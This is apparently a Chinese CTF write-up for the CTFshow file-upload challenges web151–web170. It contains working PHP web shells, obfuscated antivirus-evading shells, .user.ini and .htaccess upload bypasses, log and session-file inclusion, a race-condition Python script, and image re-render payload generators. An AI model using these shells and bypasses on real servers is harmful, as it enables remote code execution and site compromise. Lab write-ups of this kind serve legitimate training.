CTFSHOW-web入门-文件上传

文件上传

web151

提示:前台校验不可靠

前端校验 上传png格式的图片 抓包修改名称

image-20210818212902710

web152

提示:后端校验要严密

与上一题一样做法

web153

提示:后端校验要严密

.htaccess和.user.ini配置文件妙用

1
2
auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename> //包含在文件尾

.user.ini

1
auto_prepend_file = 1.png

上传.user.ini也需要抓包

auto_prepend_file = 1.png 这个配置的意思就是在当前目录下的.php 文件包含 1.jpg 这个图片,在此处相当于在 index.php 文件头插入了 require('1.png') 这条语句,也就是说相当于文件包含。
另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。

上传.user.ini与1.png

image-20210818214809056

image-20210818214821471

访问url/upload/index.php

即可使用一句话木马

web154

提示:后端校验要严密

这次上传图片发现也不行 原来是过滤了内容php 可以通过大小写绕过

然后使用一句话木马获取flag

image-20210818215458512

image-20210818215516081

访问url/upload/index.php

然后使用一句话木马获取flag

web155

提示:后端校验要严密

大小写也绕不过去 发现短标签开启了 php中的短标签 太坑人了

1
2
3
4
<? echo '123';?> //short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language=”php”>echo '123'; </script> //php_vsesion < 7

先上传.user.ini 再上传图片马

image-20210818220322817

image-20210818220357104

访问url/upload/index.php 显示安全连接失败 重开了一下环境 等了一下就行了 所有回显都到了源码里

然后使用一句话木马获取flag

2021/8/19

web156

在上一题的基础上过滤了[]

可以用花括号{}代替

其他步骤和之前一样 先上传.user.ini 再上传图片马

1
2
3
<?
eval(@$_POST{'a'});
?>

访问url/upload/index.php 还是显示安全连接失败 重开了一下环境 等了一下就行了

然后使用一句话木马获取flag

web157

在上一题的基础上又过滤了{}和;

使用另一种段标签格式

1
2
3
4
<?=`cat ../f*`?>  // echo `cat ../f*`
<?=(`cat ../f*`)?>

<?=(system('nl ../*.ph*'))?>

web158

1
2
3
4
5
6
<?=`cat ../f*`?>  // echo `cat ../f*`
<?=(`cat ../f*`)?>

<?=(system('nl ../*.ph*'))?>

<?=`nl ../*`?>

web159

payload不能带括号()

1
2
<?=`nl ../flag.ph*`?>
<?=`cat ../f*`?>

web160

首先确认过滤了空格 .user.ini

原来是

1
auto_prepend_file = 1.png

现在需要把空格去掉才能上传

1
auto_prepend_file=1.png

然后发现反引号也被过滤了

是包含日志

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

image-20210819114057652

访问url/upload/index.php

然后使用一句话木马获取flag

image-20210819114225021

看网上的payload说包含远程文件 远程文件是木马 然后读取flag也可以 由于没有服务器 所以没有实验

web161

增加了文件头的判断

文件上传漏洞之getimagesize()类型验证

用最简单的GIF89a绕过

先上传.user.ini

1
2
GIF89a
auto_prepend_file=1.png

再上传1.png

1
2
3
4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) <?php  eval(@$_POST{'a'}); ?>

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web162

在上一题的基础上又过滤了.

用和web82一样的方法 利用竞争包含session文件

拿过来脚本 先把flag改成test 因为题目限制了flag字符

然后把’upload/index.php’.format(sessID)改成’upload/index.php’

一句话木马改一下

然后手动上传.user.ini

1
2
GIF89a
auto_prepend_file=/tmp/sess_test

然后用脚本去上传木马并竞争访问upload/index.php 可以直接读到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'test'
url = 'http://eac6f08f-189a-429a-a0b0-5955a88af619.challenge.ctf.show:8080/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + 'upload/index.php')
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

web163

做法与上一题一样

web164

后端进行了二次渲染 ,利用 imagecreatefrompng().
渲染之后会把图片马内的php代码去除

因此我们需要把php代码写入渲染前后都不会发生变化的地方

二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

生成了1.png 用winhex打开 可以看到一句话木马为

1
<?=$_GET[0]($_POST[1]);?>

直接前端上传1.png 然后点击查看图片 浏览器里hackbar执行命令然后用bp抓包

image-20210819135321298

直接能包含的原因是后端代码直接包含了图片文件

去查看图片文件 url/upload/xxxxxx.png php代码依然存在

web165

png无法上传了 可以上传jpg

利用jpg二次渲染

二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

自己用各种图片渲染了几小时 都没成功

最后在github找到了现成的可以过二次渲染的图片马

render_bypass_image_webshell

上传之后 访问download.php 抓包命令执行获取flag

image-20210819164841071

web166

jpg和png都无法上传

image-20210819151655114

发现能上传zip文件 然后点下载文件 可以在download.php页面直接命令执行

后端代码里有include

image-20210819151610823

注意:浏览器里hackbar执行命令然后用bp抓包才能命令执行

直接读取文件加post参数不能命令执行

或者用蚁剑直接连接download.php

image-20210819151018783

web167

image-20210819151912986

查看前端代码 可以上传jpg文件

upload下没了php文件 没法利用.user.ini了

发现服务器不是nginx了 变成了apache 想到.htaccess

1
2
SetHandler application/x-httpd-php  //把所有文件当做php文件解析
SetHandler application/x-httpd-php .png //把png文件当做php文件解析

image-20210819152547428

image-20210819152519842

然后访问url/upload/1.jpg 即可看到flag

web168

前端上传png文件

后端修改文件拓展名为php

不过对php内容进行了过滤 需要用php免杀木马

image-20210819160036983

上传成功后 访问url/upload/1.php 即可利用一句话木马

免杀:

1
2
3
4
5
6
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
1
2
3
4
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
1
2
3
4
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
1
2
3
4
5
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
1
2
<?php // 使用时请删除此行, 连接密码: TyKPuntU ?>
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

web169

前端允许上传zip文件

后端进行了Content-Type的校验 允许上传image/png类型

先上传zip文件 然后抓包修改文件类型和文件名字

但是发现过滤了<>php,可以上传配置文件绕过

先上传.user.ini

image-20210819155124377

然后上传名为1.php的空文件 保证upload文件夹下可以有php文件包含图片 并在UA里写一句话木马

image-20210819155205474

通过浏览器访问发现无法命令执行 用蚁剑连接 需要用命令查看 才能看到真正的flagaa.php

文件管理是看不到的

image-20210819155341359

image-20210819155329763

web170

做法同上一题一样